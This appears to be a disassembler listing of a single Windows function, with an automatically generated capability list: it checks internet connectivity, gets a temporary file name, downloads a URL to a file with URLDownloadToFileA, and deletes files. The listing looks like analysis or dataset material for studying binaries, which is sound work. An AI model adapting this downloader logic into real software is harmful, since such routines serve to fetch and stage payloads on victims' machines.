Function at 0x10021220
Capabilities:
Check internet connectivity via wininet
Delete file
Download url
Get common file path
Receive data

Disassembly:
mov eax, dword [0x1004c444]
sub esp, 0x110
push ebx
xor ebx, ebx
push ebp
push esi
cmp eax, ebx
push edi
jne 0x10021412
push 0x10048848
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ebp, dword [0x1004c1b8]
mov esi, eax
push str.InternetCheckConnectionA
push esi
call ebp
push str.InternetGetConnectedState
push esi
mov edi, eax
call ebp
push ebx
call dword [sym.imp.WININET.dll_InternetAttemptConnect]
neg eax
sbb eax, eax
inc eax
cmp edi, ebx
je 0x100213eb
cmp eax, ebx
je 0x100213f3
push ebx
push 1
push ebx
call edi
test eax, eax
jne 0x10021295
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x8ca
je 0x100213f3
mov ecx, 0x100
xor eax, eax
mov edi, 0x1004ce14
rep stosd dword es:[edi], eax
mov ecx, 0x100
mov edi, 0x1004d214
rep stosd dword es:[edi], eax
call fcn.10020db0
test eax, eax
je 0x10021400
lea eax, [esp + 0x10]
lea ecx, [esp + 0x18]
push eax
lea edx, [esp + 0x18]
push ecx
push edx
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], ebx
call fcn.10035fb0
mov ebp, dword [sym.imp.KERNEL32.dll_GlobalFree]
add esp, 0xc
test eax, eax
je 0x10021365
mov edx, dword [esp + 0x14]
cmp edx, ebx
je 0x10021327
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
cmp ecx, 0x400
jae 0x10021324
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, 0x1004ce14
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push edx
call ebp
mov edx, dword [esp + 0x18]
cmp edx, ebx
je 0x10021365
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
cmp ecx, 0x400
jae 0x10021362
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, 0x1004d214
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push edx
call ebp
cmp dword [esp + 0x10], ebx
je 0x10021412
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x1d]
mov byte [esp + 0x1c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 0x1c]
push 0x104
push ecx
stosb byte es:[edi], al
call fcn.1001d2f0
add esp, 8
test eax, eax
je 0x100213c9
push 0x1004d614
push ebx
lea edx, [esp + 0x24]
push 0x1004888c
push edx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
test eax, eax
je 0x100213c9
mov eax, dword [esp + 0x10]
push ebx
push ebx
push 0x1004d614
push eax
push ebx
call sub.urlmon.dll_URLDownloadToFileA
test eax, eax
je 0x100213e2
push 0x1004d614
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, 0x41
xor eax, eax
mov edi, 0x1004d614
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x10]
push ecx
call ebp
jmp 0x10021412
cmp eax, ebx
jne 0x10021295
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x110
ret
push 0x400
push 0x1004ce14
call fcn.1001d430
add esp, 8
mov edx, dword [esp + 0x12c]
mov eax, dword [esp + 0x128]
mov ecx, dword [esp + 0x124]
push edx
push eax
push ecx
call fcn.10020f10
add esp, 0xc
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x110
ret